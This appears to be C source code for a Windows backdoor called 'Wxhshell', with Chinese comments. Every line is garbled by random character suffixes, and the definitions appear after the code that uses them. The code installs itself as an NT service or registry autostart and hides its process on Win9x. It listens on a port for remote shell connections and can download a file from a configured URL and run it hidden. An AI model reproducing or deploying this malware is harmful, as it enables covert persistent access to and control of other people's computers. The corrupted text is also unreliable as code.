{ _cxm}*}\#
DWORD ExitStatus; %;=IMMK
DWORD PebBaseAddress; ,<Grd5em.
DWORD AffinityMask; PUQ_w
DWORD BasePriority; =#.8$oa^
ULONG UniqueProcessId; %)<oX9E
ULONG InheritedFromUniqueProcessId; OUlxeo/
} PROCESS_BASIC_INFORMATION; _o &,
P;L)1 g
PROCNTQSIP NtQueryInformationProcess; uHUvntr
j#LV7@H.e?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D y`W5_xSz
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B7Ki@)
]|C_`,ux
HANDLE hProcess; 5A2Y'ms,/
PROCESS_BASIC_INFORMATION pbi; 0,1L e$)6
@wYQLZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PEX26==
if(NULL == hInst ) return 0; }{#;;5KrB
ONr?.MJ6j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :>tF_6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mc0sdb,c$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3P+4S|@q(4
3xmiX{1e
if (!NtQueryInformationProcess) return 0; r%Q8)nEo
.\ ;l-U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f7_\).T
if(!hProcess) return 0; ="5k\1W1M
r/N[7*i
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tAb;/tM3I
Njy9 JX
CloseHandle(hProcess); d{iu+=NXz
bK_0NrXP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9D{u,Q V
if(hProcess==NULL) return 0; l#2r.q^$|
#[k~RYS3
HMODULE hMod; o ;[C(OS
char procName[255]; r!=]Q}`F
unsigned long cbNeeded; ;1{iF2jZ:
%Lh-aP{[e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wE,=%?"
I<D&,LFH*w
CloseHandle(hProcess); 2cs?("8e%
aJK-O"0/
if(strstr(procName,"services")) return 1; // 以服务启动 S 0R8'Y
[Vrc:%Jk
return 0; // 注册表启动 ;-3h ~k
} i63`B+L{
9_J!s
// 主模块 [ -9)T
int StartWxhshell(LPSTR lpCmdLine) 8F O1`%8Oe
{ i#L6UKe:Q
SOCKET wsl; _9Dn\=g
BOOL val=TRUE; .x)>f
int port=0; {&\J)oZ
struct sockaddr_in door; @K,2mhE~h
pTa'.m
if(wscfg.ws_autoins) Install(); \b_-mnN"
otWo^CE$
port=atoi(lpCmdLine); a^RZsR
U=haXx4N
if(port<=0) port=wscfg.ws_port; 92P,:2`a
3n.+_ jQ>s
WSADATA data; &%|xc{i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i;[h
9=\/
R7E]*:0}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; XsAY4WTS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L"""\5Bn(
door.sin_family = AF_INET; &q," !:L]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >QYh}Z-/%
door.sin_port = htons(port); ;el]LnV!O
5S&aI{;9<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q
Axf5
closesocket(wsl); L]c 8d
return 1; uHfhRc9
} lSZ"y
Q+
+
$k07mb\
if(listen(wsl,2) == INVALID_SOCKET) { O]e6i%?
closesocket(wsl); t!6\7Vm/
return 1; ,3w I~j=
} oS[W*\7'!
Wxhshell(wsl); 2LCc
WSACleanup(); Nbgp_:{
$se !8s"
return 0; Y;fuh[#
b*lKT]D,
} S9OxI$6Y
hVlyEsLg
// 以NT服务方式启动 &E.OyqGZV
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) euRCBzc
{ U3mXm?f
DWORD status = 0; 0^J*+
DWORD specificError = 0xfffffff; )vO_sIbnW
+V2C}NQ5R
serviceStatus.dwServiceType = SERVICE_WIN32; tH-gaDj_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @Djs[Cs<*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vg+r?4Q3
serviceStatus.dwWin32ExitCode = 0; X tJswxw`K
serviceStatus.dwServiceSpecificExitCode = 0; ^OHZ767v
serviceStatus.dwCheckPoint = 0; zXj>K3M
serviceStatus.dwWaitHint = 0; dj?G.-
V8-4>H}Cb/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wl,%&H2S<
if (hServiceStatusHandle==0) return; I'x$,s
Q<z)q<e
status = GetLastError(); *
zd.
if (status!=NO_ERROR) a^@+%?X
{ 5?^]1P_
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0w^jls
serviceStatus.dwCheckPoint = 0; I|$'Q$m~
serviceStatus.dwWaitHint = 0; WEno+Z~=1'
serviceStatus.dwWin32ExitCode = status; ;
qO@A1Hq
serviceStatus.dwServiceSpecificExitCode = specificError; OZ eiHX!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S|l&fb n
return; UP\8w#~
} {;U} :Dx
w+Ad$4Pf"
serviceStatus.dwCurrentState = SERVICE_RUNNING; D*|(
p6v1&
serviceStatus.dwCheckPoint = 0; -s{R/ 6:
serviceStatus.dwWaitHint = 0; [Dnusp7e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (&q@~
dJ
} w#W5}i&x
AdDQWJ^r
// 处理NT服务事件,比如:启动、停止 }'u3U"9)
VOID WINAPI NTServiceHandler(DWORD fdwControl) |__d 8a
{ H!p!sn
switch(fdwControl) %(fL?
{ Tsu\oJ[
case SERVICE_CONTROL_STOP: b21}49bHN
serviceStatus.dwWin32ExitCode = 0; k"t>He
serviceStatus.dwCurrentState = SERVICE_STOPPED; C,[L/!
serviceStatus.dwCheckPoint = 0; P~&O4['<
serviceStatus.dwWaitHint = 0; TLy;4R2Nn
{ QyTh!QM~`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h!QjpzQe
} x]H3Y3
return; 'T%IvJ#Xu
case SERVICE_CONTROL_PAUSE: O2C6V>Q;
serviceStatus.dwCurrentState = SERVICE_PAUSED; ] OUD5T
break; $H4=QVj6
case SERVICE_CONTROL_CONTINUE: r~I.F!{
serviceStatus.dwCurrentState = SERVICE_RUNNING; RvWFF^, .
break; 4 uShM0qa
case SERVICE_CONTROL_INTERROGATE: #U\$@4D
break; "pYe-_"@
}; ,bxz]S1W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VcP:}a< B\
} 7Ez}k}aR<
GM:,CJ?
// 标准应用程序主函数 &/HoSj>HS
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;D:=XA%
{ )#C_mB$-#
|n)<4%i8J
// 获取操作系统版本 <Uf|PFVj$
OsIsNt=GetOsVer(); q5!0\o:
GetModuleFileName(NULL,ExeFile,MAX_PATH); /\~l1.6`
D^N[=q99&e
// 从命令行安装 H%FM
if(strpbrk(lpCmdLine,"iI")) Install(); ^Wf
S\M`
!TGr .R
// 下载执行文件 /=bSt
if(wscfg.ws_downexe) { cY{I:MA+h@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q^nG0<q+
WinExec(wscfg.ws_filenam,SW_HIDE); wtq,`'B
} }lH;[+u3
R3cg2H
if(!OsIsNt) { fD0{ 5
// 如果时win9x,隐藏进程并且设置为注册表启动 .6LS+[
HideProc(); Sq<3Rw
StartWxhshell(lpCmdLine); :r\xkHg/f
} So?m?,!W
else iW'_R{)T
if(StartFromService()) #T[%6(QW
// 以服务方式启动 L+7*NaPY*
StartServiceCtrlDispatcher(DispatchTable); 7$K}qsr<
else $-Cy
// 普通方式启动 #o~[1K+Yq
StartWxhshell(lpCmdLine); YjX*)Q_sl?
*g*VCO
return 0; 6`1k
^
} ekrBNDs9
f0OgK<.>T
'w:bs!
CNq[4T'~A
=========================================== 3XnE y
+
# 9V'';:
RTZ:U@
Q~8y4=|#CY
hc"6u\>
&eU3(F`.
" f
P+QxOz
`6UtxJSx
#include <stdio.h> hw*1g m
#include <string.h>
C[R`Ml
#include <windows.h> +eC3?B8rN
#include <winsock2.h> .3( ;9};
#include <winsvc.h> _Cj(fFL
#include <urlmon.h> mLQUcYfR
(NPxab8e*
#pragma comment (lib, "Ws2_32.lib") ,2,W^HJ
#pragma comment (lib, "urlmon.lib") 0juDuE?
+3)[>{~1Z
#define MAX_USER 100 // 最大客户端连接数 QsM*wT&aa
#define BUF_SOCK 200 // sock buffer
A=0@UqM
#define KEY_BUFF 255 // 输入 buffer Qd?CTYNsv
*l:&f_ngV
#define REBOOT 0 // 重启 fwy"w
#define SHUTDOWN 1 // 关机 Q4=|@|U0
bK?MT]%}r
#define DEF_PORT 5000 // 监听端口 *{Yh6{
Hl/7(FJqc>
#define REG_LEN 16 // 注册表键长度 zs0hXxTY:
#define SVC_LEN 80 // NT服务名长度 G8noQ_-
[#>{4qY2
// 从dll定义API W\%q}q2?
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZzT&$J7]`{
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I'?6~Sn3
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =E!x~S;N
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a&N